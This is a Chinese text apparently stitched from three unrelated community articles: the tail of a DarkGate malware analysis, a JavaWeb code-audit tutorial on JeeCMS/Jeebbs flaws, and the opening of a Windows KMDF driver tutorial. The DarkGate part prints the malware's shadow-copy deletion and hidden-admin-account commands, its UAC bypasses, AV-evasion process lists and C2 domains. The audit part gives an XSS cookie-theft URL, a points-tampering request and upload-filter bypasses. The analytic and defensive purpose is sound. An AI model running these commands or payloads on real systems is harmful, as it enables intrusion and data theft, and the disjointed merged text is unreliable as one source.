图6 上诉四部曲流程图
最终的二进制文件会从`C:\{computer_name}`复制到`C:\Program
data`并使用当前用户生成id的前8位数字作为文件名称(格式为：ID2-xxxxx 后面会解释)。
最后的二进制文件在注册表中写入一个键值:`\SOFTWARE\Microsoft\Windows\CurrentVersion\Run`。
键名是用户生成id的前8位数字，键值是从`C:\{computer_name}`复制到`C:\Program
data`文件夹的AutoIt脚本，如图7所示:
图7 写入的键值
### 0x06 挖矿分析
DarkGate会先从C&C服务器上获取挖矿的程序
图8 挖矿程序的下载请求
如图9所示,
`startminer`命令请求作为响应的一部分，目的是告诉恶意软件开始挖掘。分离消息的不同部分，第一部分将被加密写入`config.bin`配置中。即矿工程序的命令行。第二部分是`cpu.bin`解密后的矿工可执行文件。挖掘代码本身是通过`Process
Hollowing`技术注入到`systeminfo.exe`进程完成的。
图9:检索矿工负载
### 0x07 钱包凭证窃取分析
前面提到恶意软件的另一个功能是可以搜索并窃取加密钱包的凭证。恶意软件在windows前台进程的名称中查找与不同类型的加密钱包相关的特定字符串，如果找到匹配的字符串，则向C&C服务器发送特定的消息。
以下是受影响的网站/钱包程序列表:
检索值 | 目标
---|---
sign-in / hitbtc | <https://hitbtc.com/>
binance - log in | <https://www.binance.com/login.html>
litebit.eu - login | <https://www.litebit.eu/en/login>
binance - iniciar sesi | <https://www.binance.com/login.html>
cryptopia - login | <https://www.cryptopia.co.nz/Login>
user login - zb spot exchange |
sign in | coinEx | <https://www.coinex.com/account/signin?lang=en_US>
electrum | <https://electrum.org/#home>
bittrex.com - input | <https://international.bittrex.com/>
exchange - balances |
eth) - log in |
blockchain wallet | <https://www.blockchain.com/wallet>
bitcoin core | <https://bitcoincore.org/>
kucoin | <https://www.kucoin.com/#/>
metamask | <https://metamask.io/>
factores-Binance |
litecoin core | <https://litecoin.org/>
myether | <https://www.myetherwallet.com/>
表1 受影响的网站及钱包程序
### 0x08 控制分析
以目前的情况来看，似乎DarkGate的作者使用了很复杂的技术来避免逆向分析以及网络安全产品的检测。
DarkGate将六个域名硬编码在了代码里面，如下所示：
* akamai.la
* hardwarenet.cc
* ec2-14-122-45-127.compute-1.amazonaws.cdnprivate.tel
* awsamazon.cc
* battlenet.la
* a40-77-229-13.deploy.static.akamaitechnologies.pw
值得一提的事作者似乎还使用了另一个混淆视听的技巧，即使用这些C2地址看起来像来自Akamai或Amazon的合法rDNS记录的NS记录。使用rDNS通信的原意是应该任何监视网络流量的人都很容易忽略和忽略它们。
### 0x09 两种避免AV检测的手法
DarkGate的作者最担心的似乎是AV的检测。所以其在反虚拟机和用户验证技术上投入了大量精力，而不是反调试技术。
#### 0x09_add_01 反虚拟机
DarkGate用来避免被AV检测到的第一种方法是确定自身是否是在沙箱或者虚拟机中。基于所使用的策略，我们认为作者开发时检测沙箱/虚拟机的部分不多，事实如此，因为现在的沙箱经过了很多优化，过多的检测也无益。
在图10中，我们可以看到DarkGate使用Delphi的`Sysutils::DiskSize`和`GlobalMemoryStatusEx`来获取磁盘大小和物理内存。如果当前该计算机的磁盘空间小于101GB或内存小于4GB就会被视为虚拟机，DarkGate将自动终止运行。
图10 环境硬盘和RAM的检测
#### 0x09_add_02 反AV
DarkGate会检测表2中列出的AV是否存在于受感染的机器上。除了卡巴斯基，Trend和IOBIt。对于其他大多数的AV来说，如果恶意软件检测到任何这些AV，它门也就只会通知服务器而已。
进程名 | AV厂商
---|---
astui.exe | Avast
avpui.exe | Kaspersky
avgui.exe | AVG
egui.exe | Nod32
bdagent | Bitdefender
avguard.exe | Avira
nis.exe | Norton
ns.exe | Norton
nortonsecurity.exe | Norton
uiseagnt.exe | Trend Micro
bytefence.exe | ByteFence
psuaconsole.exe | Panda
sdscan.exe Search & Destroy mcshield.exe | McAfee
mcuicnt.exe | McAfee
mpcmdrun.exe | Windows Defender
superantispyware.exe | SUPER AntiSpyware
vkise.exe | Comodo
mbam.exe | MalwareBytes
cis.exe | Comodo
msascuil.exe | Windows Defender
表2 DarkGate检测的av列表
对于自卡巴斯基、IOBit或Trend Micro来说:
* IOBit: 如果路径`C:\\Program Files (x86)\\IObit`存在，恶意软件将尝试终止一个名为`monitor.exe`的进程。此外，它将产生一个新的线程，该线程将反复查找并终止进程`smBootTime.exe`。
* Trend Micro: 如果检测到Trend Micro的进程名，代码将不会执行关键日志的线程。
* 卡巴斯基:DarkGate在执行过程中会多次检查其是否存在，无论是在解包过程中，还是在恶意软件本身中，都会检测卡巴斯基是否存在。
1. 如果是在最终的可执行文件中检测到，并且在机器启动后不到5分钟的时间内，那么它将不会启动关键日志记录线程和负责以下工作的更新线程:
* 将所有恶意软件的相关文件复制到`C:\Program Data`下的文件夹。
* 执行下文中分析的恢复工具。
2. 如果是在shellcode中检测到，且系统启动时间超过4:10分钟，则不会使用`Process Hollowing`技术来执行最终的可执行文件，而是直接加载并执行。
### 0x10 恢复工具
DarkGate还会通过表3中列出的进程名称来检测是否存在几种已知的恢复工具:
进程名 | 工具
---|---
adwcleaner.exe | MalwareBytes Adwcleaner
frst64.exe Farbar | Recovery Scan Tool
frst32.exe Farbar | Recovery Scan Tool
frst86.exe Farbar | Recovery Scan Tool
表3 DarkGate检测的恢复工具列表
一旦检测到这些存在DarkGate将发起一个新的线程，以每20秒的速度重新分配恶意软件文件，以确保如果文件在恢复工具的生命周期内被删除，它将被重新创建和重新定位到其他地方。
### 0x11 系统调用
为了隐藏`Process
Hollowing`技术的使用，DarkGate使用了一种特殊的技术使其能够直接调用内核模式的函数。这可以帮助其逃离调试器设置的任何断点，并避开不同安全产品设置的用户域的Hook钩子。
#### 0x11_add_01 如何调用系统内核函数
当DarkGate使用来自`ntdll.exe`的函数时。它会针对32位和64位系统之间的调用方式不同对内核进行系统调用，最终目的都是为了调用`KiFastSystemCall`函数。`KiFastSystemCall`函数用于在环3和环0之间进行切换。DarkGate会避免加载`ntdll.dll`后以正确的方式运行，而不是创建自己的`KiFastSystemCall`函数来生成`syscall`。
DarkGate是一个32位的程序，因为切换到内核时系统之间存在差异，DarkGate在64位系统上运行时可能会出错。为了在进程中使用的是正确的`KiFastSystemCall`函数，DarkGate会搜索路径`C:
Windows\SysWOW64\ntdll.dll`来检查它正在运行的架构。如果该路径存在，则意味着进程是在64位系统上运行。
图11 根据系统位数不同分配对应的功能函数
在32位系统中，`KiFastSystemCall`函数将如下所示:
图12 `KiFastSystemCall`函数在32位系统中的截图
在64位系统中，以下代码用于从32位进程调用64位函数:
图13 `KiFastSystemCall`函数在64位系统中的截图
偏移量`fs:0C0h`是wow64中TEB(线程信息块)到`FastSysCall`的指针。这个指针指向`wow64cpu.dll`中的地址。它负责跳转到64位的“KiFastSystemCall”函数。DarkGate将传递给指定的函数，即ntdll请求的函数syscall所需的参数。这样它就可以调用内核函数，而不需要从`ntdll.dll`中调用该函数。最后，DarkGate创建了自己的`KiFastSystemCall`来绕过`ntdll.dll`。
与该功能类似的代码[点我](https://cybercoding.wordpress.com/2012/12/01/union-api/)。
### 0x12 UAC绕过
DarkGate使用了两种不同的UAC绕过技术来尝试提升权限。
#### 0x12_add_01 磁盘清理
第一种UAC绕过技术利用一个被称为磁盘清理的计划任务。这个计划任务使用路径`%windir%\system32\cleanmgr.exe`。DarkGate用注册表键覆盖`%windir%`环境变量:`HKEY_CURRENT_USER\Enviroment\windir`，并使用另一个命令执行AutoIt脚本。这种绕过技术在[Tyranid’s
Lair](https://tyranidslair.blogspot.com/2017/05/exploiting-environment-variables-in.html)里能找到更详细的介绍。
图14 磁盘清理绕过
#### 0x12_add_02 EVENTVWR UAC
第二种UAC绕过利用了`eventvwr.exe`默认必须以高度完整性运行的特性，并执行`mmc.exe`二进制文件(微软管理控制台)。`mmc.exe`命令来自于`HKCU\Software\Classes\mscfile\shell\open\command`注册表项。这个注册表项也可以从较低的完整性级别写入，这使它能够以较高的完整性来执行AutoIt脚本。
图15 EVENTVWR UAC绕过
### 0x13 键盘记录
DarkGate会启动一个线程来责捕获所有键盘事件并将其记录到预定义的日志文件中。除了记录键日志外，它还记录前台窗口和剪贴板。日志以“当前日期”的名称保存。日志保存在下列目录:
C:\users\ {username}\appdata\roaming\{ID1}
图16 键盘记录的相关文件
### 0x14 信息窃取
DarkGate会使用一些NirSoft工具来从受感染的机器上窃取凭证或信息。这些工具集可以帮助它窃取用户凭证、浏览器cookie、浏览器历史记录和Skype聊天记录。所有工具都是使用`Process
Hollowing`技术在vbc.exe或regasm.exe进程中执行的。
DarkGate会使用以下程序窃取凭证:
* Mail PassView 邮箱密码获取工具
* WebBrowserPassView 浏览器保存的密码获取工具
* ChromeCookiesView Chrome浏览器Cookie获取工具
* IECookiesView IE浏览器Cookie获取工具
* MZCookiesView 火狐浏览器Cookie获取工具
* BrowsingHistoryView 浏览器浏览历史获取工具
* SkypeLogView Skype聊天记录获取工具
从工具中收集的结果数据都是从宿主进程内存中提取的。DarkGate首先会使用`FindWindow
API`函数查找工具的窗口。然后使用`SysListView32`控件和`sendMessage
API`函数从工具中检索所需的信息。检索通过在图17中所示的`Process Hollowing`中分配内存缓冲区来完成。
图17 DarkGate在内存中检索信息
随后DarkGate将使用`GetItem`函数使其将项写入分配的缓冲区。`GetItem`函数是通过调用API函数`SendMessage`以及消息函数`LVM_GETITEMA`和分配的缓冲区作为参数的:
图18 GETITEM等函数
将目标项写入分配的缓冲区后，DarkGate就读取当前内存区域并获取信息了。
### 0x15 删除恢复点
DarkGate具有删除所有系统恢复点的功能，包括`cmd.exe /c vssadmin delete shadows /for=c: /all
/quiet`。
### 0x16 RDP安装
这个命令将使用`Process Hollowing`技术解密并执行接收到的文件，也就是说可以安装rdp连接工具。在本问中提到的是，`Process
Hollowing`解密的`%temp%`目录`systeminfo.exe`的副本。
此外，DarkGate将使用`cmd.exe`执行以下命令:
exe /c net user /add SafeMode Darkgate0!
exe /c net localgroup administrators SafeMode /add
exe /c net localgroup administradores SafeMode /add
exe /c net localgroup administrateurs SafeMode /add
有趣的是新创建的用户会被添加到西班牙和法国的管理组中（没有政治思想的开发者不是一个好黑客？【手动狗头】）。
### 0x17 获取Bot上的数据
C&C服务器可以获取以下受害者主机的详细信息:
* 语言环境
* 用户名
* 计算机名
* 前台窗口名称
* 当前时间
* 处理器类型
* 显示适配器描述
* RAM数量
* 操作系统类型和版本
* 是否为管理员
* config.bin的加密内容
* AV类型-根据进程名搜索，如果没有找到，这个字段将为“未知”。
在一些版本中也会寻找文件夹“c:\Program Files\e-Carte
Bleue”(可能是DarkGate保存其截图的文件夹)。然后对数据进行加密并发送到服务器。除此之外，它还会在`%appdata%`目录创建`Install.txt`文件，并在其中写入纪元时间。
* 当前DarGate的版本
* 连接所使用的端口
### 0x18 DarGate防御
目前使用[Endpoint安全平台](https://www.ensilo.com/product/)可成功阻断该软件的通信和运行。
图19:ENSILO事件图
### 0x19 样本信息
C&C域
---
akamai.la
hardwarenet.cc
ec2-14-122-45-127.compute-1.amazonaws.cdnprivate.tel
awsamazon.cc
battlenet.la
a40-77-229-13.deploy.static.akamaitechnologies.pw
样本Hash值
---
3340013b0f00fe0c9e99411f722f8f3f0baf9ae4f40ac78796a6d4d694b46d7b
0c3ef20ede53efbe5eebca50171a589731a17037147102838bdb4a41c33f94e5
3340013b0f00fe0c9e99411f722f8f3f0baf9ae4f40ac78796a6d4d694b46d7b
0c3ef20ede53efbe5eebca50171a589731a17037147102838bdb4a41c33f94e5
52c47a529e4ddd0778dde84b7f54e1aea326d9f8eeb4ba4961a87835a3d29866
b0542a719c6b2fc575915e9e4c58920cf999ba5c3f5345617818a9dc14a378b4
dadd0ec8806d506137889d7f1595b3b5447c1ea30159432b1952fa9551ecfba5
c88eab30fa03c44b567bcb4e659a60ee0fe5d98664816c70e3b6e8d79169cbea
2264c2f2c2d5a0d6d62c33cadb848305a8fff81cdd79c4d7560021cfb304a121
3c68facf01aede7bcd8c2aea853324a2e6a0ec8b026d95c7f50a46d77334c2d2
a146f84a0179124d96a707f192f4c06c07690e745cffaef521fcda9633766a44
abc35bb943462312437f0c4275b012e8ec03899ab86d353143d92cbefedd7f9d
908f2dfed6c122b46e946fe8839feb9218cb095f180f86c43659448e2f709fc7
3491bc6df27858257db26b913da8c35c83a0e48cf80de701a45a30a30544706d
### 0x20 参考文献：
> [Akamai简介](https://baike.baidu.com/item/Akamai/10008179?fr=aladdin)
> [如何绕过现代Process
> Hollowing检测机制](https://www.freebuf.com/articles/system/154421.html)
> [如何使用SilentCleanup绕过UAC？](http://www.4hou.com/technology/4834.html)
>
> [使用EVENTVWR.EXE和注册表劫持实现“无文件”UAC绕过](https://blog.csdn.net/moonhillcity/article/details/52870118) | 社区文章 |
#### 注：
不管多么强大的系统总会有那么些安全问题，影响小的可能仅仅只会影响用户体验，危害性大点的可能会让攻击者获取到服务器权限。这一节重点是怎样去找到并利用问题去获取一些有意思的东西。
#### Before:
有MM的地方就有江湖，有程序的地方就有漏洞。现在已经不是SQL注入漫天的年代了，Java的一些优秀的开源框架让其项目坚固了不少。在一个中大型的Web应用漏洞的似乎永远都存在，只是在于影响的大小、发现的难易等问题。有很多比较隐晦的漏洞需要在了解业务逻辑甚至是查看源代码才能揪出来。JavaWeb跟PHP和ASP很大的不同在于其安全性相对来说更高。但是具体体现在什么地方？JavaWeb开发会有那些问题？这些正是我们今天讨论的话题。
## JavaWeb开发概念
* * *
### Java分层思想
通过前面几章的介绍相信已经有不少的朋友对Jsp、Servlet有一定了解了。上一节讲MVC的有说的JSP+Servlet构成了性能好但开发效率并不高的Model2。在JavaWeb开发当中一般会分出很多的层去做不同的业务。
#### 常见的分层
1、展现层(View 视图)
2、控制层（Controller 控制层）
3、服务层（Service）
4、实体层（entity 实体对象、VO(value object) 值对象 、模型层（bean）。
5、业务逻辑层BO(business object)
6、持久层（dao- Data Access Object 数据访问层、PO(persistant object) 持久对象）
### 依赖关系
在了解一个项目之前至少要知道它的主要业务是什么主要的业务逻辑和容易出现问题的环节。其次是了解项目的结构和项目当中的类依赖。再次才是去根据业务模块去读对应的代码。从功能去关联业务代码入手往往比逮着段代码就看效率高无数倍。
前几天在Iteye看到一款不错的生成项目依赖图的工具-Structure101，试用了下Structure101感觉挺不错的，不过是收费的而且价格昂贵。用Structure101生成Jeebbs的项目架构图：
Structure101导入jeebss架构图-包调用： 
Structure101包调用详情：
Structure101可以比较方便的去生成类关系图、调用图等。Jeebbs项目比较大，逻辑相对复杂，不过可以看下我的半成品的博客系统。
项目图：
架构图：
控制层：
调用流程（demo还没处理异常，最好能try catch下用上面的logger记录一下）： 
## 漏洞发掘基础
* * *
Eclipse采用的是SWT编写，俗称万能IDE拥有各种语言的插件可以写。Myeclipse是Eclipse的插件版，功能比eclipse更简单更强大。
导入Web项目到Myeclipse，Myeclipse默认提供了主流的Server可以非常方便的去部署你的Web项目到对应的Server上，JavaWeb容器异常之多，而ASP、
PHP的容器却相对较少。容器可能除了开发者有更多的选择外往往意味着需要调试程序在不同的Server半桶的版本的表现，这是让人一件非常崩溃的事。
调试开源的项目需下载源码到本地然后导入部署，如果没有源代码怎么办？一般情况下JavaWeb程序不会去混淆代码，所以通过之前的反编译工具就能够比较轻松的拿到源代码。但是反编译过来的源代码并不能够直接作用于debug。不过对我们了解程序逻辑和结构有了非常大的帮助，根据逻辑代码目测基本上也能完成debug。

在上一节已经讲过了一个客户端的请求到达服务器端后，后端会去找到这个URL所在的类，然后调用业务相关代码完成请求的处理，最后返回处理完成后的内容。跟踪请求的方式一般是先找到对应的控制层，然后深入到具体的逻辑代码当中。另一种方法是事先到dao或业务逻辑层去找漏洞，然后逆向去找对应的控制层。最直接的如model1、model2并不用那么费劲直接代码在jsp、servlet代码里面就能找到一大堆业务逻辑。
### 按业务类型有序测试
普通的测试一般都是按功能和模块去写测试的用例，即按照业务一块一块去测试对应的功能。这一种方式是顺着了Http请求跟踪到业务逻辑代码，相对来说比较简单方便，而且逻辑会更加的清晰。
上面的架构图和包截图不知道有没有同学仔细看，Java里面的包的概念相对来说比较严禁。公认的命名方式是com/org.公司名.项目名.业务名全小写。
如:`org.javaweb.ylog.dao`部署到服务器上对应的文件夹应当是`/WEB-INF/classes/org/javaweb/ylog/dao/`其中的.意味着一级目录。
现在知道了包和分层规范要找到控制层简直就是轻而易举了，一般来说找到Controller或者Action所在的包的路径就行了。左边是jeebbs右边是我的blog，其中的action下和controller下的都是控制层的方法。`@RequestMapping("/top.do")`表示了直接把请求映射到该方法上，Struts2略有不同，需要在xml配置一个action对应的处理类方法和返回的页面。不过这暂时不是我们讨论的话题，我们需要知道隐藏在框架背后的请求入口的类和方法在哪。

用例图：
### 用户注册问题
用户逻辑图：
容易出现的问题:
1、没有校验用户唯一性。
2、校验唯一性和存储信息时拼Sql导致Sql注入。
3、用户信息（用户名、邮箱等）未校验格式有效性，可能导致存储性xss。
4、头像上传漏洞。
5、用户类型注册时可控导致注册越权（直接注册管理员帐号）。
6、注册完成后的跳转地址导致xss。
### Jeebbs邮箱逻辑验证漏洞：
注册的URL地址是：<http://localhost/jeebbs/register.jspx，>
register.jspx很明显是控制层映射的URL，第一要务是找到它。然后看他的逻辑。
#### Tips：Eclipse全局搜索关键字方法 
根据搜索结果找到对应文件：
根据结果找到对应的`public class RegisterAct`类，并查看对应逻辑代码： 
找到控制层的入口后即可在对应的方法内设上断点，然后发送请求到控制层的URL进入Debug模式。 注册发送数据包时用Tamper
data拦截并修改请求当中的email为xss攻击代码。 

选择任意对象右键Watch即可查看对应的值（任意完整的，有效的对象包括方法执行）。 F6单步执行。

F5进入validateSubmit：
F6跟到125行注册调用：
F3可以先点开registerMember类看看：
找到接口实现类即最终的注册逻辑代码：
### Jeebbs危险的用户名注册漏洞
Jeebbs的数据库结构当中用户名长度过长：
`username` varchar(100) NOT NULL COMMENT '用户名'
这会让你想到了什么？
当用户名的输入框失去焦点后会发送Ajax请求校验用户名唯一性。请输入一个长度介于 3 和 20
之间的字符串。也就是说满足这个条件并且用户名不重复就行了吧？前端是有用户名长度判断的，那么后端代码呢？因为我已经知道了用户名长度可以存100个字符，所以如果没有判断格式的话直接可以注册100个字符的用户名。首先输入一个合法的用户名完成客户端的唯一性校验请求，然后在点击注册发送数据包的时候拦截请求修改成需要注册的xss用户名，逻辑就不跟了跟上面的邮箱差不多，想像一下用户名可以xss是多么的恐怖。任何地方只要出现粗线下xss用户名就可以轻易拿到别人的cookie。

### Cookie明文存储安全问题： 
代码没有任何加密就直接setCookie了，如果说cookie明文储存用户帐号密码不算漏洞的话等会弹出用户明文密码不知道是算不算漏洞。
### 个性签名修改为xss,发帖后显示个性签名处可xss 
因为个性签名会在帖子里显示，所以回帖或者发帖就会触发JS脚本了。这里说一下默认不记住密码的情况下（不设置cookie）不能够拿到cookie当中的明文密码，这个漏洞用来打管理员PP挺不错的。不应该啊，起码应该过滤下。
### 不科学的积分漏洞
积分兑换方法如下：
@RequestMapping(value = "/member/creditExchange.jspx")
public void creditExchange(Integer creditIn, Integer creditOut, Integer creditOutType, Integer miniBalance, String password, HttpServletRequest request, HttpServletResponse response) {}
可以看到这里直接用了SpringMvc注入参数，而这些参数恰恰是控制程序逻辑的关键。比如构建如下URL，通过GET或者POST方式都能恶意修改用户的积分：
http://localhost/jeebbs/member/creditExchange.jspx?creditIn=26&creditOut=-27600&creditOutType=1&miniBalance=-10000000&password=wooyun
因为他的逻辑是这么写的：
if(user.getPoint()-creditOut>miniBalance){
balance=true;
}else{
flag=1;
}
从User对象里面取出积分的数值，而积分兑换威望具体需要多少是在确定兑换关系后由ajax去后台计算出来的，提交的时候也没有验证计算的结果有没有被客户端改过。其中的creditOut和miniBalance都是我们可控的。所以这个等式不管在什么情况下我们都可以让它成立。
### 打招呼XSS 逻辑有做判断：
1、用户名为空。
2、不允许发送消息给自己。
3、用户名不存在。
在控制层并没有做过滤： 

在调用com.jeecms.bbs.manager.impl.
BbsMessageMngImpl.java的sendMsg方法的时候依旧没有过滤。到最终的BbsMessageDaoImpl
的save方法还是没有过滤就直接储存了;
一般性的做法，关系到用户交互的地方最好做referer和xss过滤检测，控制层负责收集数据的同时最好处理下用户的请求，就算controller不处理起码在service层做下处理吧。
#### 发布投票贴xss发布一片投票帖子，标题xss内容。
#### 邮箱的两处没有验证xss
#### 个人资料全部xss
#### 投稿打管理员后台点击查看触发
#### 搜索xss
[http://demo.jeecms.com/search.jspx?q=%2F><script>alert%28document.cookie%29%3B<%2Fscript>hello&channelId=](http://demo.jeecms.com/search.jspx?q=%2F><script>alert%28document.cookie%29%3B<%2Fscript>hello&channelId=)
漏洞N………
### 按程序实现逆向测试
#### ”逆向”找SQL注入
SQL注入理论上是最容易找的，因为SQL语句的特殊性只要Ctrl+H 搜索select、from
等关键字就能够快速找到项目下所有的SQL语句，然后根据搜索结果基本上都能够确定是否存在SQL注入。 **凡是SQL语句中出现了拼SQL（如select *
from admin where
id=’”+id+”’）那么基本上80%可以确定是SQL注入。但也有特例，比如拼凑的SQL参数并不受我们控制，无法在前台通过提交SQL注入语句的方式去控制最终的查询SQL。而采用预编译?占位方式的一般不存在注入。**
比如搜索51javacms项目当中的SQL语句： 
#### Tips:ORM框架特殊性
### Hibernate HQL：
需要注意的是Hibernate的HQL是对对象进行操作，所以它的SQL可能是：
String hql = "from Emp";
Query q = session.createQuery(hql);
也可以
String hql = "select count(*) from Emp";
Query q = session.createQuery(hql);
甚至是
String hql = "select new Emp(e.empno,e.ename) from Emp e ";
Query q = session.createQuery(hql);
### Mybatis(Ibatis3.0后版本叫Mybatis)：
Ibatis、Mybatis的SQL语句可以基于注解的方式写在类方法上面，更多的是以xml的方式写到xml文件。

在当前项目下搜索SQL语句关键字，查找疑似SQL注入的调用：
进入搜索结果的具体逻辑代码：
最外层的Contrller： 
“逆向”找到控制层URL以后构建的SQL注入请求：
可能大家关注的代码审计最核心的怎么去发掘SQL注入这样高危的漏洞，其次是XSS等类型的漏洞。
#### 小结：
学会怎样Debug。
学会怎样通过从控制层到最终的数据访问层的代码跟踪和从数据访问层倒着找到控制层的入口。
学会怎样去分析功能模块的用例。
### 文件上传、下载、编辑漏洞
文件上传漏洞即没有对上传的文件的后缀进行过滤，导致任意文件上传。有的时候就算有后缀判断，但是由于解析漏洞造成GETSHELL这是比较难避免的。
#### 1、没有做任何限制的上传漏洞：
这一种是不需要任何绕过直接就可以上传任意脚本威胁性可想而知。
#### 2、Bypass白名单和黑名单限制
某些时候就算做了后缀验证我们一样可以通过查看验证的逻辑代码找到绕过方式。第35、36行分别定义了白名单和黑名单后缀列表。41到46行是第一种通过黑名单方式校验后缀合法性。47到57行代码是第二种通过白名单方式去校验后缀合法性。现在来瞧下上诉代码都有那些方式可以Bypass。
1、假设37行代码的upload不是在代码里面写死了而是从客户端传入的参数，那么可以自定义修改path把文件传到当前server下的任意路径。
2、第39行犯下了个致命的错误，因为文件名里面可以包含多个”.”而”xxxxx”.indexOf(“.”)取到的永远是第一个”.”,假设我们的文件名是1.jpg.jsp即可绕过第一个黑名单校验。
3、第42行又是另一个致命错误s.equals(fileSuffix)比较是不区分大小写假设我们提交1.jSP即可突破验证。
4、第50行同样是一个致命的错误，直接用客户端上传的文件名作为最终文件名，可导致多个漏洞包括解析漏洞和上面的1.jpg.jsp上传漏洞。
#### 文件上传漏洞修复方案:
1、文件上传的目录必须写死
2、把原来的fileName.indexOf(".")改成fileName.lastIndexOf(".")
3、s.equals(fileSuffix)改成s.equalsIgnoreCase(fileSuffix) 即忽略大小写或者把前面的fileSuffix字符转换成小写s.equals(fileSuffix.toLowerCase())
### 文件下载漏洞
51JavaCms典型的文件下载漏洞，我们不妨看下其逻辑为什么会存在漏洞。51javacms并没有用流行的SSH框架而是用了Servlert3.0自行做了各种封装，实现了各种漏洞。Ctrl+H搜索DownLoadFilePage找到下载的Servlet：
改装了下51javacms的垃圾代码： 
请求不存在的文件：
跨目录请求一个存在的文件：
### 文件编辑漏洞
JeeCms之前的后台就存在任意文件编辑漏洞（JEECMS后台任意文件编辑漏洞and官方漏洞及拿shell
：<http://wooyun.org/bugs/wooyun-2010-04030）官方的最新的修复方式是把path加了StartWith验证。>
## 基于Junit高级测试
* * *
Junit写单元测试这个难度略高需要对代码和业务逻辑有比较深入的了解，只是简单的提下,有兴趣的朋友可以自行了解。
JUnit是由 Erich Gamma 和 Kent Beck 编写的一个回归测试框架（regression testing
framework）。Junit测试是程序员测试，即所谓白盒测试，因为程序员知道被测试的软件如何（How）完成功能和完成什么样（What）的功能。Junit是一套框架，继承TestCase类，就可以用Junit进行自动测试了。
## 其他
* * *
### 1、通过查看Jar包快速定位Struts2漏洞
比如直接打开lerxCms的lib目录：
### 2、报错信息快速确认Server框架
类型转换错误：
Struts2：
### 3、二次校验逻辑漏洞
比如修改密保邮箱业务只做了失去焦点唯一性校验，但是在提交的时候听没有校验唯一性
### 4、隐藏在Select框下的邪恶
Select下拉框能有什么漏洞？一般人我不告诉他，最常见的有select框Sql注入、存储性xss漏洞。搜索注入的时候也许最容易出现注入的地方不是搜索的内容，而是搜索的条件！
Discuz select下拉框存储也有类型的问题，但Discuz对Xss过滤较严未造成xss：
下拉框的Sql注入： 
小结： 本节不过是漏洞发掘审计的冰山一角，很多东西没法一次性写出来跟大家分享。本系列完成后公布ylog博客源码。本节源代码暂不发布。 | 社区文章 |
**作者：0x7F@知道创宇404实验室
时间：2023年4月18日 **
### 0x00 前言
随着 windows 系统的更新迭代，windows 驱动开发技术也是不断的升级：从最早期的 VXD(Virtual X Driver)(已废弃)到
windows 2000 上推出的 WDM(Windows Driver Model)驱动模型，随后从 windows vista 推出的
WDF(Windows Driver Foudation)驱动模型，沿用至今；WDF 是 WDM 的升级版，并且在一定程度上兼容，WDF
是微软目前推荐的驱动开发模型。
WDF 还可以细分为内核模式 KMDF(Kernel-Mode Driver Framework) 和用户模式 UMDF(User-Mode Driver
Framework)，顾名思义 UMDF 将受到更多的限制从而换来更高的操作系统稳定性，其二进制扩展名为 `*.dll`；UMDF 和 KMDF
开发基本相同，本文这里仅介绍使用更广泛的 KMDF 开发。
本文实验环境
windows 10 专业版 x64 1909
Visual Studio 2019
SDK 10.0.19041.685
WDK 10.0.19041.685
### 0x01 搭建驱动开发环境
首先配置 `Visual Studio 2019` 的 C/C 开发环境(https://visualstudio.microsoft.com/)，按
Visual Studio 官方教程，自动下载安装「使用C的桌面开发」，其中 SDK 默认为 `10.0.19041.0`：
开发软件需要 SDK(Software Development Kit)，而开发 windows 驱动则需要 WDK(Windows Driver
Kit)；现在我们来配置 WDK 环境，从官网(https://learn.microsoft.com/zh-cn/windows-hardware/drivers/download-the-wdk)下载 WDK 在线安装包(版本必须和 SDK 一致)，按如下进行安装：
> 对于 WDF 驱动模型其开发环境叫 WDK(Windows Driver Kit)
> 对于 WDM 驱动模型其开发环境叫 DDK(Driver Development Kit)
安装完毕后，其窗口会默认勾选为 `Visual Studio` 安装 WDK 扩展插件，按照指导进行安装即可，随后我们可以在 `Visual Studio`
的创建项目页面，就看到 KMDF/UMDF 等选项，表示 windows 驱动开发环境配置成功。
> windows 驱动开发环境可能会受操作系统、Visual Studio、SDK、WDK
> 的版本影响，配置过程需要多留心这些环节，如遇见问题可以参考如下版本信息 https://learn.microsoft.com/en-> us/windows-hardware/drivers/other-wdk-downloads。
### 0x02 HelloWorld开发
根据官方教程，我们在 `Visual Studio` 中创建空的 `KMDF` 项目，并在其中创建 `Driver.c` 文件，编写代码如下：
#include <ntddk.h>
#include <wdf.h>
DRIVER_INITIALIZE DriverEntry;
EVT_WDF_DRIVER_DEVICE_ADD KmdfHelloWorldEvtDeviceAdd;
NTSTATUS
DriverEntry(
_In_ PDRIVER_OBJECT DriverObject,
_In_ PUNICODE_STRING RegistryPath
)
{
// NTSTATUS variable to record success or failure
NTSTATUS status = STATUS_SUCCESS;
// Allocate the driver configuration object
WDF_DRIVER_CONFIG config;
// Print "Hello World" for DriverEntry
KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "KmdfHelloWorld: DriverEntry\n"));
// Initialize the driver configuration object to register the
// entry point for the EvtDeviceAdd callback, KmdfHelloWorldEvtDeviceAdd
WDF_DRIVER_CONFIG_INIT(&config,
KmdfHelloWorldEvtDeviceAdd
);
// Finally, create the driver object
status = WdfDriverCreate(DriverObject,
RegistryPath,
WDF_NO_OBJECT_ATTRIBUTES,
&config,
WDF_NO_HANDLE
);
return status;
}
NTSTATUS
KmdfHelloWorldEvtDeviceAdd(
_In_ WDFDRIVER Driver,
_Inout_ PWDFDEVICE_INIT DeviceInit
)
{
// We're not using the driver object,
// so we need to mark it as unreferenced
UNREFERENCED_PARAMETER(Driver);
NTSTATUS status;
// Allocate the device object
WDFDEVICE hDevice;
// Print "Hello World"
KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "KmdfHelloWorld: KmdfHelloWorldEvtDeviceAdd\n"));
// Create the device object
status = WdfDeviceCreate(&DeviceInit,
WDF_NO_OBJECT_ATTRIBUTES,
&hDevice
);
return status;
}
在「配置管理器」中设置为 `Debug/x64`，编译生成项目发现如下错误：
`Visual Studio` 默认开启了缓解 Spectre 攻击的机制，可在 VS 安装器中选择安装指定的支持库，我们实验环境下可以直接关闭该功能，在
`项目属性-C/C++-代码生成-Spectre Mitigation` 设置为 `Disable`：
随后便可以成功编译，在 `[src]/x64/Debug/` 下，可以看到生成的二进制文件 `KmdfHelloWorld.sys`。
### 0x03 部署和测试
驱动程序一般以服务(service)或设备(device)的方式运行工作，这点和普通应用程序不同，所以不能像应用程序那样进行调试和测试。官方指导中提供一种基于双机调试环境的驱动调试方法，这种方式较为繁琐，我们这里进行简要介绍；想了解更方便的本机调试驱动程序的小伙伴，可跳转至「0x04
本机调试驱动程序」。
